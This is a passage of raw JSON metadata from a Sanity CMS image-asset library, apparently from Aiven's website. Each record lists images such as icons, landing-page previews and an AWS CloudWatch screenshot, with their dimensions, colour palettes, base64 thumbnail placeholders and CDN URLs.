cDx6itlT4YQ6dRdJiT2on6TRJl4t1ig2Y7izRzWhA1CzSXJLBpjt2GGNhtDNImkfSSpL63XQu1mka8IabLmA6GA2ImmGq8GAU8T/98pBIKgUcLQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c22004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":50.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcb4ac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8af72","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#835447","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":50.93,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"icon-manufacturing.png","path":"images/sczeoy4w/production/86e12999ba6da5b3c8917f9c77132e62aea9246f-908x908.png","sha1hash":"86e12999ba6da5b3c8917f9c77132e62aea9246f","size":19828,"title":null,"uploadId":"3zNi01dTkP295n2hYchi2ztcPusMIj5b","url":"https://cdn.sanity.io/images/sczeoy4w/production/86e12999ba6da5b3c8917f9c77132e62aea9246f-908x908.png"} {"_createdAt":"2024-11-19T17:43:31Z","_id":"image-0eaa93eb2164466770eef99e24eb376929a13bc6-1200x630-png","_rev":"sEwq5NBiPauorOxrhkDROF","_type":"sanity.imageAsset","_updatedAt":"2024-11-19T17:43:31Z","assetId":"0eaa93eb2164466770eef99e24eb376929a13bc6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M85hm7-#aaRRRh%jxoWVRmWBRjjXt8ofV?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACfElEQVR4nF2TaU8TURhG5wdIYdqZO/vWgba0jRvuEmwkKpYYaTVVcUF2C6WgFlAoVhEpGv/zMXcgIfHDTSaTyXmf87x3lJRRY8h8hmo3SDuzaO4cur+ICFYR4RpG2MbIfsSMt7FH9nBy3/Dyh/jFY/zSb/ziCW7+B/ZIFzvXRVHt52SL85TGmpTGWpSutilf+0z52jZ+YRMRbiCiLYxsB2v463/AP3jF4wQmB5rZDooIXnJ9vM3DJ10ePekxWe0xOX3IZPWIizf3iEodsuVdotIefqGbAGUif/TXabrCT8x4BxG2k6OY0StuTmwxXesxXT+kOnPEdL1PtXbC/WqfylSfyuM/TEz95dKdPv5oDyd3gJM7hTu5Lmb0KYGZcQdF8xrkLy1zfXyLGxMdbk3scruyz63KAbcr37k7ecT4gz73pv5ydfyEoNjDir9gRJvowToibKH7TUTQwop3UFJGnbTdQHizGOE7rGgBO7uCHTdxR9p4+U/4oztky/tEJal7gBVvo/sfSDvvSTtzqPZbMu5CAlcGRI0Lep0B/Tkp4wVD5htUW364hOZ9QA820EO5lM9Y8S72yH6ipnmrZNwlNH8V1ZlHdeTtaKKkRA1VprQaZOS18ebQ3AU0bxkhVcIN9KCFCNYxo81ES25TD9YSZSN5bpF258m4iyhpY4bYrVEYniVfXiEuNbGi5TPgWtKN5q0kenKQBBvRVgKUBuKsS6k9aL5A0c2nFP0ZLo++4eLYOoUrGzjxynnCM+CQ9RrVfn36PjwfkvGWk3Qps8GAqKMMGjNkzBrCbSD8t4hgHt07V5Z/ikwjO1Kdd2iBrKGV9CeHyDNovkxgch//AJblcOpgOK34AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#673c6b","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#090c7c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2c86","foreground":"#fff","population":5.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d2e1","foreground":"#000","population":3.65,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b81c2","foreground":"#fff","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f95","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2c86","foreground":"#fff","population":5.98,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven for Manufacturing.png","path":"images/sczeoy4w/production/0eaa93eb2164466770eef99e24eb376929a13bc6-1200x630.png","sha1hash":"0eaa93eb2164466770eef99e24eb376929a13bc6","size":139718,"uploadId":"xzeT60eJ5wInigHDGaxHRaqoC06SN5x6","url":"https://cdn.sanity.io/images/sczeoy4w/production/0eaa93eb2164466770eef99e24eb376929a13bc6-1200x630.png"} {"_createdAt":"2024-07-16T14:11:06Z","_id":"image-fa69c8949b2560aac8082da1240277e60e05ba43-1200x630-png","_rev":"3OXQTD9fYGqbgLPUQFqKH3","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T14:11:06Z","assetId":"fa69c8949b2560aac8082da1240277e60e05ba43","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBCsV0v#+O^:|R}Ow}h0.xv-pROJW$h$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADDElEQVQokR3SW09bBQDA8fMJjJmMUloOpee09L5e6I212NNyG0hw7QalXLquLe2glALF1VFkOMZgKMN42TThxRgMJEQQnRoTfTBqTHyYD/PFqImJz36Ev9m+wi8/oUGbpEk3jkaaQitfQ62/jkqXo6mtSLNUQiMvoDVWaWmvIZrq6O2bWPwf4YqcEOo9oTiyw6eVLE/vDvPfOz0IqtYUFlcRb6iCO1jB7JpDspaQrPMYHFUMjpu0u1aweNawdNzB5NnG7H2EPXRMIHZC+tVdPiwU+LGe4O+tfgS1bhxPsIzS9zrh7hqdSo1g5BZBZZWgsk4gcodw7xbRwV2US3v4IntY/Q+xdR7iiXzGUN+7rKXmOShNcrqYQjivTWK057jgK+EMzOO5WMUbquENr+ANv4Gva52LsXuEe3fwKzvY/fexeN/DGT6gI3JErGuP8qU57l7JsjQ8j9CgSSJZsljdN7B753AGFnH6q9g6lrF6bmLtWMHhX8MReJN21zqSYwNH8H1CfYf0DByS6b7NdizBdizOTLiA0NgyhunCNO5g+bmhp7OKK7iMxV1Fti+hM1cRTcu0mGpo2+tIjk0C0X36E2ckx07ZjL/GWX+Ao1iArZeHEc41jyIa0si2HAZ7AaNjFqOjjGybR2deQCtXEOUKRvMCZtsyjo57KIMHJKa+I539nvroW3wy8Aof9/SwGkkjvNCY4FzTVZ5ZNooTqFqf1cmjkWdQ60topTI+1wyp7hzFwRwTQ6tcSR4xWfiZ67O/Mj72Odf6HpDpvs+Q8gjhxfNxtOo4urYUoiGDRsoiWYoYbaXnD0WpxFAox9uToxyXL7NfnmNp9ojiwm/cWHrK5YkfCPY8xhd9jCf6FUKDKo4sJrCYpjDYptGZ8pjsBWzOGURDCVGeY7grz/50gie3+/lpI8/OyjFL9T9YrP/FSOYX/L3f4FK+xhX5EuEl9VVU2hGaW1M069Oo2zJo9Fla5Gk0UokWQwUlMMsHuSR/bvXx+26ehxtn1Df+4dbGv0wUnxAa+BZP9AvckVP+B1V7s2zWCvJHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c427b","foreground":"#fff","population":1.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04166c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c427b","foreground":"#fff","population":1.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6a9d5","foreground":"#000","population":1.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89e43","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5caf","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04d11","foreground":"#fff","population":1.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS Jakarta Web LP (1).png","path":"images/sczeoy4w/production/fa69c8949b2560aac8082da1240277e60e05ba43-1200x630.png","sha1hash":"fa69c8949b2560aac8082da1240277e60e05ba43","size":250526,"uploadId":"HyUJtkyKFtU7pST5LOOtbgDGjo74GpYv","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa69c8949b2560aac8082da1240277e60e05ba43-1200x630.png"} {"_createdAt":"2024-11-22T08:22:43Z","_id":"image-a5e5c02de333795279244fe406bd5b3e2741ae9c-1200x630-jpg","_rev":"3dV4FODjLd0CdPPVQgqXSW","_type":"sanity.imageAsset","_updatedAt":"2024-11-22T08:22:43Z","assetId":"a5e5c02de333795279244fe406bd5b3e2741ae9c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCA+^D0v-AOw+WR#TN}i0-og%MV=JWw]$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBv/EACIQAAEEAgIBBQAAAAAAAAAAAAEAAgMEESEFBhMxNEFSsf/EABcBAAMBAAAAAAAAAAAAAAAAAAEDBAb/xAAhEQEAAQMDBQEAAAAAAAAAAAABAgADEQQy0QUGEiFhof/aAAwDAQACEQMRAD8AiMPIVxSbEKbBKBjyH5TXrvGWbE7HiN7YyNPxopAfbRK09Ja09QqEgE59cLROpbErYG6WKVCyXCeXaZpZDz12hEyvFYjLWDGwhZ2/q7Nj7n9Qi9taaT5S9r8OKqOsXAwH681//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414476","foreground":"#fff","population":0.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042474","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eb722e","foreground":"#fff","population":1.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1a5c4","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8953c","foreground":"#000","population":1.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7d82","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb722e","foreground":"#fff","population":1.72,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven for Fintech_meta-preview.jpg","path":"images/sczeoy4w/production/a5e5c02de333795279244fe406bd5b3e2741ae9c-1200x630.jpg","sha1hash":"a5e5c02de333795279244fe406bd5b3e2741ae9c","size":43576,"uploadId":"0MamVixr5cjAV9qv2PLQdoBLeGQ7eTgE","url":"https://cdn.sanity.io/images/sczeoy4w/production/a5e5c02de333795279244fe406bd5b3e2741ae9c-1200x630.jpg"} {"_createdAt":"2024-07-15T12:10:48Z","_id":"image-b906bd9ecfb757a49df951be6a8774a06313ba40-22x20-svg","_rev":"L2VX8UNy1a0yGsFTNXOweh","_type":"sanity.imageAsset","_updatedAt":"2024-07-15T12:10:48Z","assetId":"b906bd9ecfb757a49df951be6a8774a06313ba40","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRRtDIWW5.w_S3}CWW]+sn$h5.jtAYWWNv]+snw_S3JSWWsnS3S3sn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1,"height":20,"width":22},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+UlEQVQ4jUWU3YtXVRSGn5kaSB1tMtByLCuT8SIhI7owqBHqtomyIahsfuddv1Eoa5jsQrqLCgm6qATL6lYqIipzasi+7IM+kG6E/oYQi/6B/dbaZ8/MgcU57LX2s9/1sQ9eAItNFvstXrO4UMTfaRZ/WLxexAGLRyzezLUiLltcKuK3Il61uLckY5EK22hxv8VJi/MWX1icTitiqa192ex8W0vf6bb2fdt7X7ISuM/iRBE/WZyymHVwu1XtYYs3LH61+CXVtrW9JbjDwaMW77jfm4x9CXzR4juL90ovPRWPesBIEeMVHAyLGNbvjk0OxjzkCkct1XTutfg2WTT6OYsn3THh+VqGEQcj7T3m4GoHEw6ucbDbwR4Hm6tfTFjMNcaPFHHJ4pOUW7p6agaxakPwwfre4GC/g5cdHLO4zeLKtCLuTobFX7npX4uPi7izdFURTrC41mJbCcY9ZKODaQdvO/jB4iWLqRo3x6jFXY3xTwL/bN16oIh1nqvArM2MxTEHB0owU4KTDn528FaFd4y7q7HrLR5MRhEXaQXNU19xMOVDfV2KUB2h4FwJlhssodMeMl4ziapuyuJ46RmnEviQxUdFfG3xlMV2i6sc7HVwvAQXHFxcVTZkQzlSlSXshiKetvjG4kMHM+m4zv1ILBdx1r2y7R6yvs3aUQcvOLinKlsEDxh1x2TLYin3WoTF1hXnzUUstNZ/XqHBpIN1DrY6uL5+D1eVTVp0FmdKv+dZi5uS1Y9Etr9jl8VzFl9loMW8xQ4/wagPtfEZ1O7f2DI602IXLW6tjEHe5exUf/JYcyy0FLLzz7hrwfMVttPiSLvvyy12l8WYD/esOrxFDdwP6s7WnLOlV/B8uxl7LI42VUst5pYK63pG2tqNSGCOQj/5mVYW/LN6R4MT+esqfTc/bQ3YUQVEE5TvAErSEzZYg5e+VtssHrf4wOL3Zu9bPFbS19+mteya1afSE7iiMmva/xi2OJi1eLfZrDu2pK+CErgCy3T/h/0HNuVh/5m/OpoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c3c","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#821804","foreground":"#fff","population":1.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec6212","foreground":"#fff","population":10.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#963702","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7c34","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#594149","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec6212","foreground":"#fff","population":10.68,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-check-heart.svg","path":"images/sczeoy4w/production/b906bd9ecfb757a49df951be6a8774a06313ba40-22x20.svg","sha1hash":"b906bd9ecfb757a49df951be6a8774a06313ba40","size":668,"uploadId":"7sKylUejveqNrgaX0Kt0ZB8f78iVpUQ0","url":"https://cdn.sanity.io/images/sczeoy4w/production/b906bd9ecfb757a49df951be6a8774a06313ba40-22x20.svg"} {"_createdAt":"2024-07-15T12:25:52Z","_id":"image-63e29680941dc4ed980568036329faccb1d05915-22x22-svg","_rev":"L2VX8UNy1a0yGsFTNXRgqb","_type":"sanity.imageAsset","_updatedAt":"2024-07-15T12:25:52Z","assetId":"63e29680941dc4ed980568036329faccb1d05915","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e3SmYN;61L;P1Lj@fQwxfjE$12N01LNJ1e}CfQ65f7$O12R,12R,5.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":22,"width":22},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC4UlEQVQ4ja1Vu06WQRA9CFpoDBJElEKFSIiJEQXCRSzstbBD5SacBRO8gEYLX0ALG1AIUa6CxsJKjQUqAl6IiYlPYHwAfYc9ZnbnF2OMlcXk239n5uxczswPBUB06Qc0mL6bRFSIOCHilohPLrf9rsJs4oD79G34blxkoGIzjsQxEcOReCziXUFi/trdsIh2By5J/r2Azhug/QgJaKeINhFXRDwS8V7EGxH3RAyaRGJMxJKINRGLDnxcAZUaRIk6DTBH1BKJIRFzbmxAEyJ6FHBIAWUidog4KOKsiNFILHnEi9EjjgGVBnjNX/scc1QTkegSE1CpBlEcTwPqSZlsUsB2Bz4jYlzERxFfRDwRcd0An4n4KuK7iJciukXsV8AWTaW6FplEokhEUbyZ7jaL2Kv8sPn8EPFNxAtE4oKI+/6SyazfNSmgPNWmIxc81Tqnf0QERcyIWHcG2HnIjEpFHI5Er4hJEStexwwc0KiQKGRNOxKJfg9gORKrIqYjERTQoAGUWcp1Ig6kNIlGmZKYVjZejfl8VcSIiAcGJOKtiCkRAyKaRdSIqI1EHbywd5QjPCqiOqW7Abziaa37ecp1TW571H0NY9wAZ0W89hQmXdlgr8bsZLUy/o3FfLYs9omoT7TirzJZ1PNWw2YPfeY3hdWoLzmHVIpalwJQl2e27FxcSDwOaLMIt4qo9BSsu3NutOrAva5rckqNO/FN/zASl9KEBVQpYJsBdog4ZZ22xkSi1admPhJrMTdhwaUANC/ioo9qTcxRnzQsA3zq5LY6dXpKNW485DVecZn1u1ZvSL373BXx3LAKozfrLy+5stvJW+3O51xanF6HfKbHvKE2sgsKuIGYSdviKcz/sRy6FVIUVSL2xAxkMzzqj7/zzTSigHYNYLd1ubC+yj2ay270wUls68tYYNyziF45UGF9tStgVxrRtA9tU9uc/mXB2jL1jltK7/+1YKNtoz4D/M9/AT8BIq6/LlyUt9oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c3c","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a1904","foreground":"#fff","population":7.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7a1904","foreground":"#fff","population":7.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#704128","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c47f59","foreground":"#fff","population":2.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#943a04","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8660d","foreground":"#fff","population":4.75,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-layers-three.svg","path":"images/sczeoy4w/production/63e29680941dc4ed980568036329faccb1d05915-22x22.svg","sha1hash":"63e29680941dc4ed980568036329faccb1d05915","size":909,"uploadId":"Busvu1LJgOY05ELmFxnmyb2npAc90v6l","url":"https://cdn.sanity.io/images/sczeoy4w/production/63e29680941dc4ed980568036329faccb1d05915-22x22.svg"} {"_createdAt":"2024-07-15T12:30:02Z","_id":"image-43aff1f262062f2e1041ee1a4cf9379be710d15e-24x24-svg","_rev":"neae7oL4y1FotDvvRjCapp","_type":"sanity.imageAsset","_updatedAt":"2024-07-15T12:30:02Z","assetId":"43aff1f262062f2e1041ee1a4cf9379be710d15e","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"edPe9Rw_E$S3snJ9}CxEsnNv1esnWWa|snS3$h,=WWNvWWJ9xEoKJ9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACyElEQVQ4jZVUS2+NURRd1/VoKqqUAeo5QOsRJJIOUBJGJA2RRtBE7zoGRioaqUmLRKmJMBCJgYFHghkjCeqVSJsq8YP2kn3OvrdNtAM32fnO991z1ll77bU3RKwU0SWiVwnnRfSI6BTRJAJG/N/PCthDEV+U8F3EexGDItY6oIhKPBthNcD6y/qfX2bmYMRHJTw1YkrEcxEdzk7zRW0+wITzmVnCUxEDlvBBCW9E7BaxVMRmETsjNhmxzGqo6ML8DHsizakMRvwR8diIXSIOirgn4lXEmIhDIpZEyhWlLElDFkQBBs3TLMyeiDgjYouIy36RiK8Rvh4QsbyRepqlbX8BbIoCdCplVttFrBCxWgk3LGHCnxF5bUSbiEUiWpXy3lYRzaqhOr/ohcV1I6ZFvPYw4pcRQ0ZsEHFAxJV8ETEk4pQR7fVqNats2hHF8HTXGnHatTNmO30LHV3zDhF3RPxUwqRfFP8dy8IasU/EiIiXweZhHNzqTIw4qRKHrcizJwC+KuVzvvZLzzpgVcS5+PBDxCcRv0XcNmKNLuYMFoau+0WcsISrvt+IFyK6M2jCZyX0wRKqSrhkCZNKuK+Ea+HLR0rYEOZeIGKviAdiPjihou1o/p4wnL8TfXWGNRGTIt6JeBaa3DdinWYAj3tHGTHufjRvguLTjVGYwjA2HxFzp3yLVN6KSFGo9V6onGZhNhZFaxGxWG6hhJszgKXKq2LieCFOxQXbRBwVcXeW6NNh7Jb6JFLKnrzV0FCjjUavBNtqvLfG4akYHi9Cs4PBLHeJFb+OhBR90Nkyjuo3NiaMd0DpjsmwRrcXwFyzkmZbgG1Rwj2lPP4aKc+O3OhWGHpXFNMWawzHJa7ZrexdByvsPIveuaZPPbx7XM+sn7lGxRolyvt4ZlbAvBm65gTMo6mW7dTu7eQd4Om4RvlZD6LPytOHtBd15V/quXsohGDU/AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c3c34","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#68180b","foreground":"#fff","population":4.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2651c","foreground":"#fff","population":7.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bf7b6b","foreground":"#fff","population":1.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f07844","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a06f49","foreground":"#fff","population":2.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2651c","foreground":"#fff","population":7.12,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-data.svg","path":"images/sczeoy4w/production/43aff1f262062f2e1041ee1a4cf9379be710d15e-24x24.svg","sha1hash":"43aff1f262062f2e1041ee1a4cf9379be710d15e","size":2742,"uploadId":"d7lIObtcDXACLmXot0JShpy9G2jsgGtU","url":"https://cdn.sanity.io/images/sczeoy4w/production/43aff1f262062f2e1041ee1a4cf9379be710d15e-24x24.svg"} {"_createdAt":"2022-06-30T19:56:22Z","_id":"image-05f9c553c9c1f1a55bff4c5147a382699b33fed4-1500x930-jpg","_rev":"CK1sLU2mnwa3vmbYWEb5Ch","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:29Z","assetId":"05f9c553c9c1f1a55bff4c5147a382699b33fed4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VQHL*k00xu-=Io_NH?oft7NG00_3bHMxxtIUxuozaeoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6129032258064515,"height":930,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAACAAFB//EACIQAAEEAQQCAwAAAAAAAAAAAAECAwQFAAYREiEHIhRBYf/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAGxEAAgIDAQAAAAAAAAAAAAAAAAECIQMEERP/2gAMAwEAAhEDEQA/AOfaaukvxVPWLpbHLjiD8R6forWgVKmsMPuFwgKcI32wu2ii2Yy2/X5CxzSB0c3J0iTALQhypDKehxQ4QMEOKx5U5uxjDTNCjpMOKB9eoywoRZli6wlRtbBP4l87ZY/Ug9VM/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4038","foreground":"#fff","population":2.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#224f59","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#867a6e","foreground":"#fff","population":3.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7c6af","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a7e8e6","foreground":"#000","population":2.16,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#867a6e","foreground":"#fff","population":3.62,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf405d","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"05f9c553c9c1f1a55bff4c5147a382699b33fed4-1500x930.jpg","path":"images/sczeoy4w/production/05f9c553c9c1f1a55bff4c5147a382699b33fed4-1500x930.jpg","sha1hash":"05f9c553c9c1f1a55bff4c5147a382699b33fed4","size":356263,"uploadId":"MlXSoz7cKkulJeSw8mqYCApGlvUwG8h1","url":"https://cdn.sanity.io/images/sczeoy4w/production/05f9c553c9c1f1a55bff4c5147a382699b33fed4-1500x930.jpg"} {"_createdAt":"2022-10-07T08:03:53Z","_id":"image-03d524073e3bd5a1548d778567ffbc840b13a1c8-2000x937-png","_rev":"6A7y012pmf5STlJrFTbdAO","_type":"sanity.imageAsset","_updatedAt":"2022-10-07T08:05:59Z","altText":"Screenshot of Integration metrics page for AWS CloudWatch","assetId":"03d524073e3bd5a1548d778567ffbc840b13a1c8","description":"Screenshot of Integration metrics page for AWS CloudWatch","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.134471718249733,"height":937,"width":2000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABF0lEQVQokX2Ri66EIAxE/f9vdXlDKQXmpqBu9mazJidoosfp9LDWI5wG4XzBGQtr3YNzHiFE5FxQK0NE0Hv/SpOOzILDuohgHIKxcJfE+/BB9BElJjBVcGuL9iBLKH2AZOB4uQhN6S/RTpRRCj1QLuBCaMxL8KYtNLn0voWnCp1HjAkp5TWevjTG+GAuJubcjDnQekOu+vOCyu27UFGhfvTrmpigXmCzhY8eVBkkHccrJDgfP4REBGZeqJx5j3Wnw8RKWESF5p/QJxjtUMuP6RHf99qnPtdaMcaVWp1zLqFJBtZbFCKU1vfIKtRl7A/v4t9b1FM3uRIu2xbSJXRLWLfwHvkW6mg/u7u61bP2ikgRhTKayFrKH6yFvZP6jyLhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d685c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c592a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1bab8","foreground":"#000","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1bab8","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea98b1","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54849c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5db059","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aws-cloudwatch-integration-metrics.png","path":"images/sczeoy4w/production/03d524073e3bd5a1548d778567ffbc840b1